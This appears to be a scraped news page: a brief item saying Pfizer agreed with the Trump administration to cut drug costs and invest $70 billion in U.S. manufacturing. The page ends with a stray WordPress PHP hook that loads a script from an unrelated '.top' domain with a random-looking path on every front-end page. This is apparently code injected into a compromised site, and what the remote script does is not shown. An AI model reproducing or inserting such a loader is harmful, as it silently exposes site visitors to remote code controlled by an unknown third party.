Drugmaker Pfizer has agreed to lower drug costs and invest $70 billion in U.S. manufacturing under a deal struck with President Donald Trump’s administration.
Pfizer agrees to lower prescription drug costs for Medicaid in a deal with Trump

add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'poyaner-api', 'https://poyanercold.top/zzo0hiv4b8/api', array(), null, true ); });